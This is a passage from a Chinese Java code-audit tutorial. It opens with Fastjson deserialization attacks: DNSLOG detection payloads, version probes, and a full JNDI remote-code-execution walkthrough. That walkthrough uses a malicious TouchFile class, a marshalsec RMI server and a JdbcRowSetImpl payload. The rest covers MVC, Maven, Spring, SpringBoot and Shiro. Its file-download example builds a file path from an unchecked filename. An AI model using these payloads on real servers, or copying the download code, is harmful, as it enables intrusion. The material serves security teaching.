            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

漏洞检测

DNSLOG:

{"@type":"java.net.InetAddress","val":"dnslog.cn"} 在49以下才能触发,因为这个gadget在49被禁止了,可用于检测具体版本
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

报错检测

运气好可以直接出版本号:

{"xxx":"aaa"
eyJhIjoiXHgaGiJ9的base64解码 在60以下才能触发,当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错,反之则会延迟或报错

修复建议:有些开发人员在写解析JSON的相关代码时,可能会设置只能传入指定对象。 而我们通过设置@type时传入的对象可能会与指定对象不匹配从而发生type not match的异常。

解决办法是这样,最外层套层对象:

{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

任意命令执行:

// TouchFile.java
import java.lang.Runtime; import java.lang.Process;
public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands); 
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }

编译代码,上传至服务器,我在本地使用Python http.server 进行搭建:

javac TouchFile.java 
python3 -m http.server 4444   

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类 TouchFile.class。

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 
http://192.168.8.103/#TouchFile 9999

在显示监听后,在客户端发送请求payload,主要看创建文件是否成功:

{
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.169.8.103:9999/TouchFil e",
            "autoCommit":true
            }
}

Java代码审计详解_第154张图片

 发现已经访问。

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 
http://192.168.8.103:4444/#TouchFile 9999
* Opening JRMP listener on 9999
Have connection from /192.168.8.103:54177
Reading message...
Is RMI.lookup call for TouchFile 2
Sending remote classloading stub targeting 
http://192.168.8.103:4444/TouchFile.class
Closing connection
╰─$ python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ... ::ffff:192.168.8.103 - - [28/Sep/2021 16:06:29] "GET /TouchFile.class HTTP/1.1" 200 -

查看文件:

Java代码审计详解_第155张图片

十五、Java常见框架

1、三层架构及MVC模式

java 三层架构:数据访问层、业务逻辑层、表现层

业务层-----一般不变的,主要是一些算法逻辑,用了策略模式,用了反射技术使得它的变化相对稳定。(规则制定)~业务(Business)。

持久层-----存储数据的,存储数据可能会由xml配置文件更改为数据库。

视图层------显示界面的,显示界面可能有c/s 更改为 b/s。

1)持久层(Data Access Layer DAL 数据访问层)采用DAO模式。

建立实体类和数据库表映射(ORM映射)。也就是哪个类对应哪个表,哪个属性对应哪个列。持久层的目的就是,完成对象数据和关系数据的转换。

2)业务层(Business Logic Layer BLL 逻辑层、service层)采用事务脚本模式。

将一个业务中所有的操作封装成一个方法,同时保证方法中所有的数据库更新操作,即保证同时成功或同时失败。避免部分成功部分失败引起的数据混乱操作。

3)表现层(UI层、视图层、界面层)采用MVC(Model-View-Controler)模式。

采用JSP/Servlet 技术进行页面效果显示。

Java代码审计详解_第156张图片

SSH框架:

业务层——Spring
表现层——Struts
持久层——Hibernate

SSM框:

业务层——Spring
表现层——SpringMVC
持久层——MyBatis

经常会有人把三层架构和MVC模式搞混,这里说明一下,两者没有实质上得关系,可以共存,两者是通过不同维度来说明Javaweb得结构,三层架构是一种分层思想,利用这个思想可以将web开发人员分为前端开发,后端开发、DBA这三种职位,而MVC模式主要是根据数据流来讲解得web结构,我们后续学习中也主要是根据MVC模式来进行学习。

MVC模式(Model-View-Controler)

M称为模型,也就是实体类。用于数据的封装和数据的传输。

V为视图,也就是GUI组件,用于数据的展示。      

C为控制,也就是事件,用于流程的控制。

Java代码审计详解_第157张图片

首先,我们打开浏览器,输入网址,就是到服务器中请求页面(JSP也可能是别的),然后显示到浏览器上,然后通过点击JSP页面上的内容,提交请求,到服务器中,也就到了Control(Servlet)这一块,Servlet通过分析请求,知道用户需要什么,需要数据,那么就通过Model,从数据库拿到数据,在将数据显示在JSP中,在将JSP发送回浏览器,显示在用户看,所以我们经常说,JSP就是View层,给用户看的,Servlet作为控制流程,而编写操作数据库代码,业务逻辑代码就属于Model。这就是MVC的应用。 

Java代码审计详解_第158张图片

2、Maven详解

Maven 是一个项目管理工具,它包含了一个项目对象模型(Project Object Model),反映在配置中,就是一个 pom.xml 文件。是一组标准集合,一个项目的生命周期、一个依赖管理系统,另外还包括定义在项目生命周期阶段的插件(plugin)以及目标(goal)。

当我们使用 Maven 的使用,通过一个自定义的项目对象模型, pom.xml 来详细描述我们自己的项目。简单来说,我们开发一个JavaWeb项目是需要加载很多依赖的,使用Maven可以便于管理这些依赖。

1)pom.xml

POM是项目对象模型(Project Object Model)的简称,它是Maven项目中的文件,使用XML表示,名称叫做pom.xml。该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。Maven项目中必须包含 pom.xml文件。

以下是 helloMaven 项目的坐标定义:

    
net.biancheng.www     
helloMaven     
jar    
1.0-SNAPSHOT

Maven 坐标主要由以下元素组成:

1. groupId: 项目组 ID,定义当前 Maven 项目隶属的组织或公司,通常是唯一的。它的取值一般是项目所属公司或组织的网址或 URL 的反写,例如 net.biancheng.www。
2. artifactId: 项目 ID,通常是项目的名称。
3. version:版本。
4. packaging:项目的打包方式,默认值为 jar。

仓库分类

Maven 仓库可以分为 2 个大类:

1. 本地仓库

2. 远程仓库

当通过 Maven 构建项目时,Maven 按照如下顺序查找依赖的构件:

1. 从本地仓库查找构件,如果没有找到,跳到第 2 步,否则继续执行其他处理。

2. 从中央仓库查找构件,如果没有找到,并且已经设置其他远程仓库,然后移动到第 4 步;如果找到,那么将构件下载到本地仓库中使用。

3. 如果没有设置其他远程仓库,Maven 则会停止处理并抛出错误。

4. 在远程仓库查找构件,如果找到,则会下载到本地仓库并使用,否则 Maven 停止处理并抛出错误。

3、Spring框架

参考:Spring IoC(控制反转)

1)Spring是什么

Spring 是 Java EE 编程领域的一款轻量级的开源框架。

广义的 Spring:Spring 技术栈

广义上的 Spring 泛指以 Spring Framework 为核心的 Spring 技术栈。

经过十多年的发展,Spring 已经不再是一个单纯的应用框架,而是逐渐发展成为一个由多个不同子项目(模块)组成的成熟技术,例如 Spring Framework、Spring MVC、SpringBoot、Spring Cloud、Spring Data、Spring Security 等,其中 Spring Framework 是其他子项目的基础。

Java代码审计详解_第159张图片

狭义的 Spring:Spring Framework 

Spring 框架是一个分层的、面向切面的 Java 应用程序的一站式轻量级解决方案,它是 Spring 技术栈的核心和基础,是为了解决企业级应用开发的复杂性而创建的。

Spring 有两个核心部分: IoC 和 AOP。

Java代码审计详解_第160张图片

在实际开发中,服务器端应用程序通常采用三层体系架构,分别为表现层(web)、业务逻辑层(service)、持久层(dao)。

2)Spring体系

Spring 致力于 Java EE 应用各层的解决方案,对每一层都提供了技术支持。 

1. 在表现层提供了对 Spring MVC、Struts2 等框架的整合;
2. 在业务逻辑层提供了管理事务和记录日志的功能;
3. 在持久层还可以整合 MyBatis、Hibernate 和 JdbcTemplate 等技术,对数据库进行访问;

Spring 框架基本涵盖了企业级应用开发的各个方面,它包含了 20 多个不同的模块。

spring-aop      spring-context-indexer  spring-instrument  spring-orm    spring-web
spring-aspects  spring-context-support  spring-jcl  
spring-oxm    spring-webflux spring-beans    spring-core     spring-jdbc 
spring-r2dbc  spring-webmvc spring-context  spring-expression    spring-jms  
spring-test   spring-messaging   spring-websocket spring-tx  

4、SpringMVC

Spring MVC 是 Spring 提供的一个基于 MVC 设计模式的轻量级 Web 开发框架,本质上相当于 Servlet。Spring MVC 是结构最清晰的 Servlet+JSP+JavaBean 的实现,是一个典型的教科书式的 MVC 构架,不像 Struts 等其它框架都是变种或者不是完全基于 MVC 系统的框架。

Spring MVC配置

Spring MVC 是基于 Servlet 的,DispatcherServlet 是整个 Spring MVC  框架的核心,主要负责截获请求并将其分派给相应的处理器处理。所以配置 Spring MVC,首先要定义 DispatcherServlet。跟所有 Servlet 一样,用户必须在 web.xml 中进行配置。

1)定义DispatcherServlet

在开发 Spring MVC 应用时需要在 web.xml 中部署 DispatcherServlet,代码如下:



    springMVC     
    
    
        springmvc
        org.springframework.web.servlet.DispatcherServ let
    
        1
    
    
        springmvc 
    
    /
     

Spring MVC 初始化时将在应用程序的 WEB-INF 目录下查找配置文件,该配置文件的命名规则是“servletName-servlet.xml”,例如 springmvc-servlet.xml。

也可以将 Spring MVC 的配置文件存放在应用程序目录中的任何地方,但需要使用 servlet 的 init-param  元素加载配置文件,通过 contextConfigLocation 参数来指定 Spring MVC 配置文件的位置,示例代码如下:



    springmvc
    org.springframework.web.servlet.DispatcherServ let 
    
    
    contextConfigLocation
    classpath:springmvc-servlet.xml
    
         
    1


    springmvc     /

此处使用 Spring 资源路径的方式进行指定,即classpath:springmvc-servlet.xml。

上述代码配置了一个名为“springmvc”的 Servlet。该 Servlet 是 DispatcherServlet 类型,它就是 Spring MVC 的入口,并通过 1 配置标记容器在启动时就加载此 DispatcherServlet,即自动启动。然后通过 servlet-mapping 映射到“/”,即 DispatcherServlet 需要截获并处理该项目的所有 URL 请求。

2)创建Spring MVC配置文件

在 WEB-INF 目录下创建 springmvc-servlet.xml 文件,如下所示:






        
   

3)创建Controller

在 src 目录下创建 net.biancheng.controller 包,并在该包中创建 RegisterController 和  LoginController 两个传统风格的控制器类(实现 Controller 接口),分别处理首页中“注册”和“登录”超链接的请求。

Controller 是控制器接口,接口中只有一个方法 handleRequest,用于处理请求和返回 ModelAndView。

RegisterController 的具体代码如下:

package controller;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.ModelAndView; import 
org.springframework.web.servlet.mvc.Controller;
public class RegisterController implements Controller {

public ModelAndView handleRequest(HttpServletRequest arg0,HttpServletResponse arg1)                         throws Exception {
    return new ModelAndView("/WEB-INF/jsp/login.jsp");
    }
}

4)创建View

index.jsp 代码如下:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>




Insert title here


    未注册的用户,请
     注册!
    
已注册的用户,去     登录

在 WEB-INF 下创建 jsp 文件夹,将 login.jsp 和 register.jsp 放到 jsp 文件夹下。

login.jsp 代码如下:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>




Insert title here


    登录页面!

register.jsp 代码如下:

<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" %>



    
        Insert title here
         注册页面!

5)Controller及RequestMapping注解

Controller注解

@Controller 注解用于声明某类的实例是一个控制器。例如,在 net.biancheng.controller 包中创建控制器类 IndexController,示例代码如下:

package net.biancheng.controller;
import org.springframework.stereotype.Controller;
@Controller
public class IndexController {
        // 处理请求的方法
}

Spring MVC 使用扫描机制找到应用中所有基于注解的控制器类,所以,为了让控制器类被 Spring MVC 框架扫描到,需要在配置文件中声明 spring-context,并使用 元素指定控制器类的基本包(请确保所有控制器类都在基本包及其子包下)。

例如,在 springmvcDemo 应用的配置文件 springmvc-servlet.xml 中添加以下代码:

 

RequestMapping注解

一个控制器内有多个处理请求的方法,如 UserController 里通常有增加用户、修改用户信息、删除指定用户、根据条件获取用户列表等。每个方法负责不同的请求操作,而 @RequestMapping 就负责将请求映射到对应的控制器方法上。

 在基于注解的控制器类中可以为每个请求编写对应的处理方法。使用 @RequestMapping 注解将请求与处理方法一 一对应即可。

@RequestMapping 注解可用于类或方法上。用于类上,表示类中的所有响应请求的方法都以该地址作为父路径。

@RequestMapping 注解常用属性如下:

1. value 属性

value 属性是 @RequestMapping 注解的默认属性,因此如果只有 value 属性时,可以省略该属性名,如果有其它属性,则必须写上 value 属性名称。

如下:

@RequestMapping(value="toUser") 
@RequestMapping("toUser")

value属性支持通配符匹配,如@RequestMapping(value="toUser/*") 表示http://localhost:808 0/toUser/1 或 http://localhost:8080/toUser/hahaha都能够正常访问。

2. path属性

path 属性和 value 属性都用来作为映射使用。即 @RequestMapping(value="toUser") 和 
@RequestMapping(path="toUser") 都能访问 toUser() 方法。

path 属性支持通配符匹配,如@RequestMapping(path="toUser/*") 表示  http://localhost:808 0/toUser/1 或 http://localhost:8080/toUser/hahaha都能够正常访问。

3. name属性

name属性相当于方法的注释,使方法更易理解。如@RequestMapping(value = "toUser",name = "获取用户信息")。

4. method属性

method 属性用于表示该方法支持哪些 HTTP 请求。如果省略 method 属性,则说明该方法支持全部的 HTTP 请求。

 @RequestMapping(value = "toUser",method = RequestMethod.GET) 表示该方法只支持  GET 请求。也可指定多个 HTTP 请求,如 @RequestMapping(value = "toUser",method =  {RequestMethod.GET,RequestMethod.POST}),说明该方法同时支持 GET 和 POST 请求。

5. params属性

params 属性用于指定请求中规定的参数,代码如下:

@RequestMapping(value = "toUser",params = "type")
public String toUser() {
return "showUser";
}

以上代码表示请求中必须包含 type 参数时才能执行该请求。即 htt p://localhost:8080/toUser?type=xxx  能够正常访问 toUser() 方法,而 http://localhost:8080/toUser 则不能正常访问 toUser() 方法。

@RequestMapping(value = "toUser",params = "type=1")
public String toUser() {
return "showUser";
}

以上代码表示请求中必须包含 type 参数,且 type 参数为 1  时才能够执行该请求。即 http://localhost:8080/toUser?type=1 能够正常访问 toUser() 方法,而  http://localhost:8080/toUser?type=2 则不能正常访问 toUser() 方法。

6. header属性

header 属性表示请求中必须包含某些指定的 header 值。 @RequestMapping(value = "toUser",headers = "Referer=http://www.xxx.com") 表示请求的 header 中必须包含了指定的“Referer” 请求头,以及值为“http://www.xxx.com”时,才能执行该请求。

7. consumers属性

consumers 属性用于指定处理请求的提交内容类型(Content-Type),例如:application/json、text/html。

如:

@RequestMapping(value = "toUser",consumes = "application/json")

8. produces属性

produces 属性用于指定返回的内容类型,返回的内容类型必须是 request 请求头(Accept)中所包含的类型。如 @RequestMapping(value = "toUser",produces = "application/json")。

除此之外,produces 属性还可以指定返回值的编码。如 @RequestMapping(value = "toUser",produces = "application/json,charset=utf-8"),表示返回 utf-8 编码。

使用 @RequestMapping 来完成映射,具体包括 4 个方面的信息项:请求 URL、请求参数、请求方法和请求头。

6)重定向和转发

Spring MVC 请求方式分为转发、重定向 2 种,分别使用 forward 和 redirect 关键字在 controller 层进行处理。

在 Spring MVC 框架中,控制器类中处理方法的 return 语句默认就是转发实现,只不过实现的是转发到视图。示例代码如下:

@RequestMapping("/register") 
public String register() {
    return "register";  //转发到register.jsp
}

在 Spring MVC 框架中,重定向与转发的示例代码如下:

@RequestMapping("/register") 
public String register() {
    return "register";  //转发到register.jsp
}

在 Spring MVC 框架中,重定向与转发的示例代码如下:

package net.biancheng.controller;
import org.springframework.stereotype.Controller; 
import org.springframework.web.bind.annotation.RequestMappi ng;
@Controller
@RequestMapping("/index") 
public class IndexController {
    @RequestMapping("/login")     
    public String login() {
    //转发到一个请求方法(同一个控制器类可以省略/index/)
        return "forward:/index/isLogin";     
    }
    @RequestMapping("/isLogin")
    public String isLogin() {
        //重定向到一个请求方法
        return "redirect:/index/isRegister";
        }
    @RequestMapping("/isRegister")    
    public String isRegister() {
    //转发到一个视图
    return "register";
    }
}

7)拦截器

在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。

1. 通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor接口的实现类(例如 HandlerInterceptorAdapter)来定义。
2. 通过实现 WebRequestInterceptor 接口或继承WebRequestInterceptor 接口的实现类来定义。

配置:



    
     
    
    
    
    
    
    
    
             
        
    
    

    
    
    

在上述示例代码中,元素说明如下:

1. mvc:interceptors:该元素用于配置一组拦截器。
2. :该元素是 mvc:interceptors 的子元素,用于定义全局拦截器,即拦截所有的请求。
3. mvc:interceptor:该元素用于定义指定路径的拦截器。
4. mvc:mapping:该元素是 mvc:interceptor 的子元素,用于配置拦截器作用的路径,该路径在其属性 path 中定义。path 的属性值为/**时,表示拦截所有路径,值为/gotoTest时,表示拦截所有以 /gotoTest结尾的路径。如果在请求路径中包含不需要拦截的内容,可以通过 mvc:exclude-mapping 子元素进行配置。

8)文件上传

Spring MVC 框架的文件上传基于 commons-fileupload 组件,并在该组件上做了进一步的封装,简化了文件上传的代码实现,取消了不同上传组件上的编程差异在 Spring MVC 中实现文件上传十分容易,它为文件上传提供了直接支持,即 MultpartiResolver 接口。MultipartResolver 用于处理上传请求,将上传请求包装成可以直接获取文件的数据,从而方便操作。

 MultpartiResolver 接口有以下两个实现类:

1. StandardServletMultipartResolver:使用了 Servlet 3.0 标准的上传方式。
2. CommonsMultipartResolver:使用了 Apache 的 commons-fileupload 来完成具体的上传操作。

Maven 项目在 pom.xml 文件中添加以下依赖:

纯文本复制

    commons-io
    commons-io     
    2.4
    
    

    commons-fileupload
    commons-fileupload     
    1.2.2

9)文件下载

Spring MVC 文件下载的实现方法和实现过程;文件下载有以下两种实现方法:

1. 通过超链接实现下载:实现简单,但暴露了下载文件的真实位置,并且只能下载 Web 应用程序所在目录下的文件,WEB-INF 目录除外。
2. 利用程序编码实现下载:增强安全访问控制,可以下载除 Web 应用程序所在目录以外的文件,也可以将文件保存到数据库中。

 利用程序编码实现下载需要设置以下两个报头:

1. Web 服务器需要告诉浏览器其所输出内容的类型不是普通文本文件或 HTML 文件,而是一个要保存到本地的下载文件,这需要设置 Content-Type 的值为 application/x-msdownload。
2. Web 服务器希望浏览器不直接处理相应的实体内容,而是由用户选择将相应的实体内容保存到一个文件中,这需要设置Content-Disposition 报头。

 该报头指定了接收程序处理数据内容的方式,在 HTTP 应用中只有 attachment 是标准方式,attachment 表示要求用户干预。在  attachment 后面还可以指定 filename 参数,该参数是服务器建议浏览器将实体内容保存到文件中的文件名称。

设置报头的示例如下:

response.setHeader("Content-Type", "application/x-msdownload");
response.setHeader("Content-Disposition", "attachment;filename="+filename);
/**
* 执行下载
*/
@RequestMapping("down")
public String down(@RequestParam String filename,HttpServletRequest request, HttpServletResponse response) {
    String aFilePath = null; // 要下载的文件路径
    FileInputStream in = null; // 输入流
    ServletOutputStream out = null; // 输出流
try {
// 从workspace\.metadata\.plugins\org.eclipse.wst.server. core\
// tmp0\wtpwebapps下载
aFilePath = request.getServletContext().getRealPath("uploadfiles");
// 设置下载文件使用的报头
response.setHeader("Content-Type", "application/x-msdownload");
response.setHeader("Content-Disposition", "attachment; filename="+ toUTF8String(filename)); // 读入文件
in = new FileInputStream(aFilePath + "\\" + filename);
// 得到响应对象的输出流,用于向客户端输出二进制数据
out = response.getOutputStream();
out.flush();
int aRead = 0;
byte b[] = new byte[1024];
while ((aRead = in.read(b)) != -1 & in != null) {
out.write(b, 0, aRead);
}
out.flush();
in.close();
out.close();
} catch (Throwable e) { 
e.printStackTrace();
}
logger.info("下载成功"); 
return null;
}

5、SpringBoot

SpringBoot是一款基于JAVA的开源框架。目的是为了简化Spring应用搭建和开发流程。是目前比较流行,大中小型企业常用的框架。正因为极大简化了开发流程,才收到绝大开发人员的喜爱。SpringBoot核心原理是自动装配(自动配置),在这之前,开发一个JavaWeb,Spring等项目要进行很多配置,使用了SpringBoot就不用在过多考虑这些方面。并且在SpringBoot中还内置了Tomcat。

Spring Boot 具有以下特点:

1. 独立运行的 Spring 项目

Spring Boot 可以以 jar 包的形式独立运行,Spring Boot 项目只需通过命令“ java–jar xx.jar” 即可运行。

2. 内嵌 Servlet 容器

Spring Boot 使用嵌入式的 Servlet 容器(例如 Tomcat、Jetty 或者 Undertow 等),应用无需打成 WAR 包 。

3. 提供 starter 简化 Maven 配置

Spring Boot 提供了一系列的“starter”项目对象模型(POMS)来简化 Maven 配置。

4. 提供了大量的自动配置

Spring Boot 提供了大量的默认自动配置,来简化项目的开发,开发人员也通过配置文件修改默认配置。

5. 自带应用监控

Spring Boot 可以对正在运行的项目提供监控。

6. 无代码生成和 xml 配置

Spring Boot 不需要任何 xml 配置即可实现 Spring 的所有配置。

starter

Spring Boot 将日常企业应用研发中的各种场景都抽取出来,做成一个个的 starter(启动器),starter  中整合了该场景下各种可能用到的依赖,用户只需要在 Maven 中引入 starter 依赖, SpringBoot  就能自动扫描到要加载的信息并启动相应的默认配置。starter 提供了大量的自动配置,让用户摆脱了处理各种依赖和配置的困扰。所有这些  starter 都遵循着约定成俗的默认配置,并允许用户调整这些配置,即遵循“约定大于配置”的原则。

并不是所有的 starter 都是由 Spring Boot 官方提供的,也有部分 starter  是第三方技术厂商提供的,例如 druid-spring-boot-starter 和 mybatis-spring-boot-starter  等等。当然也存在个别第三方技术,Spring Boot 官方没提供 starter,第三方技术厂商也没有提供 starter。

以 spring-boot-starter-web 为例,它能够为提供 Web 开发场景所需要的几乎所有依赖,因此在使用 Spring Boot 开发 Web 项目时,只需要引入该 Starter 即可,而不需要额外导入 Web 服务器和其他的 Web 依赖。

spring-boot-starter-web(Web 场景启动器)

Spring MVC 是 Spring 提供的一个基于 MVC 设计模式的轻量级 Web 开发框架,其本身就是 Spring 框架的一部分,可以与 Spring 无缝集成,性能方面具有先天的优越性,是当今业界最主流的 Web 开发框架之一。

Spring Boot 是在 Spring 的基础上创建一款开源框架,它提供了 spring-boot-starter-web(Web  场景启动器) 来为 Web 开发予以支持。spring-boot-starter-web 为我们提供了嵌入的 Servlet 容器以及  SpringMVC 的依赖,并为 Spring MVC 提供了大量自动配置,可以适用于大多数 Web 开发场景。

Spring Boot Web 快速开发

Spring Boot 为 Spring MVC 提供了自动配置,并在 Spring MVC 默认功能的基础上添加了以下特性:

1. 引入了 ContentNegotiatingViewResolver 和 BeanNameViewResolver(视图解析器);
2. 对包括 WebJars 在内的静态资源的支持;
3. 自动注册 Converter、GenericConverter 和 Formatter (转换器和格式化器);
4. 对 HttpMessageConverters 的支持(Spring MVC 中用于转换 HTTP 请求和响应的消息转换器);
5. 自动注册 MessageCodesResolver(用于定义错误代码生成规则);
6. 支持对静态首页(index.html)的访问;
7. 自动使用 ConfigurableWebBindingInitializer;

只要我们在 Spring Boot 项目中的 pom.xml 中引入了 spring-boot-starter-web ,即使不进行任何配置,也可以直接使用 Spring MVC 进行 Web 开发。

1)定义拦截器

在 Spring Boot 项目中,使用拦截器功能通常需要以下 3 步:

1.    定义拦截器;
2.    注册拦截器;
3.    指定拦截规则(如果是拦截所有,静态资源也会被拦截)。

在 Spring Boot 中定义拦截器十分的简单,只需要创建一个拦截器类,并实现 HandlerInterceptor 接口即可。

HandlerInterceptor 接口中定义以下 3 个方法,如下表:

Java代码审计详解_第161张图片

Java代码审计详解_第162张图片 

Java代码审计详解_第163张图片 

示例1

在 net.biancheng.www.componet 中创建一个名为 LoginInterceptor 的拦截器类,对登陆进行拦截,代码如下:

package net.biancheng.www.componet;
import lombok.extern.slf4j.Slf4j;
import org.springframework.web.servlet.HandlerInterceptor; 
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse;
@Slf4j
public class LoginInterceptor implements HandlerInterceptor {
/**
* 目标方法执行前
*
*	@param request
*	@param response
*	@param handler
*	@return
*	@throws Exception
*/
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    Object loginUser = request.getSession().getAttribute("loginUser");
    if (loginUser == null) {
        //未登录,返回登陆页
        request.setAttribute("msg", "您没有权限进行此操作,请先登陆!");
 request.getRequestDispatcher("/index.html").forward (request, response);
    return false; 
    } else {
    //放行
    return true;
    }
}

/**
* 目标方法执行后
*
* @param request
* @param response
* @param handler
* @param modelAndView
* @throws Exception
*/
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
    log.info("postHandle执行{}", modelAndView);
}
    /**
    * 页面渲染后*
    * @param request
    *	@param response
    *	@param handler
    *	@param ex
    *	@throws Exception
    */
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
    log.info("afterCompletion执行异常{}", ex);
    }
}

2)注册拦截器

创建一个实现了 WebMvcConfigurer 接口的配置类(使用了 @Configuration  注解的类),重写 addInterceptors() 方法,并在该方法中调用 registry.addInterceptor()  方法将自定义的拦截器注册到容器中。

示例 2

在配置类 MyMvcConfig 中,添加以下方法注册拦截器,代码如下:

@Configuration
public class MyMvcConfig implements WebMvcConfigurer {
    ......
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
    registry.addInterceptor(new LoginInterceptor());
    }
}

3)指定拦截规则

修改 MyMvcConfig 配置类中 addInterceptors() 方法的代码,继续指定拦截器的拦截规则,代码如下。

@Slf4j
@Configuration
public class MyMvcConfig implements WebMvcConfigurer {
    ......
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
    log.info("注册拦截器");
    registry.addInterceptor(new LoginInterceptor()).addPathPatterns("/**") //拦截所有请求,包括静态资源文件
    .excludePathPatterns("/", "/login", "/index.html", "/user/login", "/css/**", "/images/**", "/js/**", "/fonts/**"); //放行登录页,登陆操作,静态资源
    }
}

 在指定拦截器拦截规则时,调用了两个方法,这两个方法的说明如下:

1. addPathPatterns:该方法用于指定拦截路径,例如拦截路径为 “/**”,表示拦截所有请求,包括对静态资源的请求。
2. excludePathPatterns:该方法用于排除拦截路径,即指定不需要被拦截器拦截的请求。

@Controller注解:标注该类为controller类,可以处理http请求。@Controller一般要配合模版来使用。现在项目大多是前后端分离,后端处理请求,然后返回JSON格式数据即可,这样也就不需要模板了。

@ResponseBody注解:将该注解写在类的外面,表示这个类所有方法的返回的数据直接给浏览器。

@RestController:相当于@ResponseBody 加上 @Controller。

@RequestMapping注解:配置URL映射,可以作用于某个Controller类上,也可以作用于某Controller类下的具体方法中,说白了就是URL中请求路径会直接映射到具体方法中执行代码逻辑。

@PathVariable注解:接受请求URL路径中占位符的值,示例代码如下图所示:

@Controller
@ResponseBody
@RequestMapping("/hello") public class HelloController {
    @RequestMapping("/whoami/{name}/{sex}")
    public String  hello(@PathVariable("name") String name, @PathVariable("sex") String sex){
    return "Hello" + name + sex;
    }
}

@RequestParam注解:将请求参数绑定到你控制器的方法参数上(是springmvc中接收普通参数的注解),常用于POST请求处理表单。

6、Apache shiro 框架

Apache Shiro是一个简单易用且强大而灵活的开源Java安全框架,以下简称Shiro。它干净利落地处理身份认证、授权以及企业会话管理和加密并且支持数据库及缓存操作。Shiro拥有易于理解的API,你可以快速且容易地使用它来保护任何应用程序——从最小的移动应用程序到最大的web和企业应用程序。

Shiro 能做什么:

认证:验证用户的身份

授权:对用户执行访问控制:判断用户是否被允许做某事

管理:在任何环境下使用 Session API,即使没有 Web 或EJB 容器。

加密:以更简洁易用的方式使用加密功能,保护或隐藏数据防止被偷窥Realms:聚集一个或多个用户安全数据的数据源

单点登录(SSO)功能:为没有关联到登录的用户启用 "Remember Me“ 服务

组成如下:

Java代码审计详解_第164张图片

从上图中可以看到 Shiro 的四大核心部分: 

Authentication(身份验证):简称为“登录”,即通过用户名及密码证明用户是谁当然也还有其他登陆组合方式。
Authorization(授权):访问控制的过程,即决定是否有权限去访问受保护的资源。
Session Management(会话管理):管理用户特定的会话,即使在非 Web 或 EJB 应用程序。
Cryptography(加密):通过使用加密算法保持数据安全。

Shiro 概念层架构的 3 个核心组件图:

Java代码审计详解_第165张图片

Subject :正与系统进行交互的人,或某一个第三方服务。所有 Subject 实例都被绑定到(且这是必须的)一个SecurityManager 上。

SecurityManager:Shiro 架构的心脏,用来协调内部各安全组件,管理内部组件实例,并通过它来提供安全管理的各种服务。当 Shiro 与一个 Subject 进行交互时,实质上是幕后的 SecurityManager 处理所有繁重的Subject 安全操作,可以将其概念比作为是SpringMVC中的前端控制器。

Realms :本质上是一个特定安全的 DAO。当配置 Shiro 时,必须指定至少一个 Realm 用来进行身份验证或授权。Shiro 提供了多种可用的 Realms 来获取安全相关的数据。如关系数据库
(JDBC),INI 及属性文件等。可以定义自己 Realm 实现来代表自定义的数据源

Shiro如何启动?

1、在web.xml中配置了一个名为shiroFilter的spring代理过滤器,这个名称必须与shiroFilter的配置文件中的bean id="shiroFilter"一致。

 

2、配置shiro的管理文件

a、配置代理过滤器指向的shiroFilter的拦截器(注意过滤器的名字一定要与在WEB.xml中描述的一致)





          
 



    
    
    
    
    /css/**=anon
    /images/**=anon 
    /js/**=anon
    /WEB-INF/**=anon 
    /index.jsp=anon 
    /**=authc
    
         
 

b、配置安全管理

注意,realm 是必须项,其他可以任意选择 如果指定了其他配置项,那在配置文件中必须都要配置全了,MyRealm所在的包一定要被spring能扫描到。

 
  

c、缓存配置 

至此Shiro可以正常启动及进行工作这里用的是xml配置文件来表述,其实用代码shiroConfig.java等这种代码来表述是一样的。

用户的登录信息是怎么传给shiro框架的?

从前面的两个框图可以看出,应用层与框架通过一个叫Subject的东西作为桥梁连接,Subject的功能及定义前面已经提到,这里 再说明一下Subject :正与系统进行交互的人,或某一个第三方服务。所有 Subject 实例都被绑定到(且这是必须的)一个SecurityManager 上。

a、由于在web.xml中设置了过滤器,所以只要有外部请求,容器(我自己这里是tomcat) 会根据过滤器的配置进行拦截,再根据shiroFilter中的配置 

shiroFilter 如果检测到自己还是未认证状态就会去调用login。

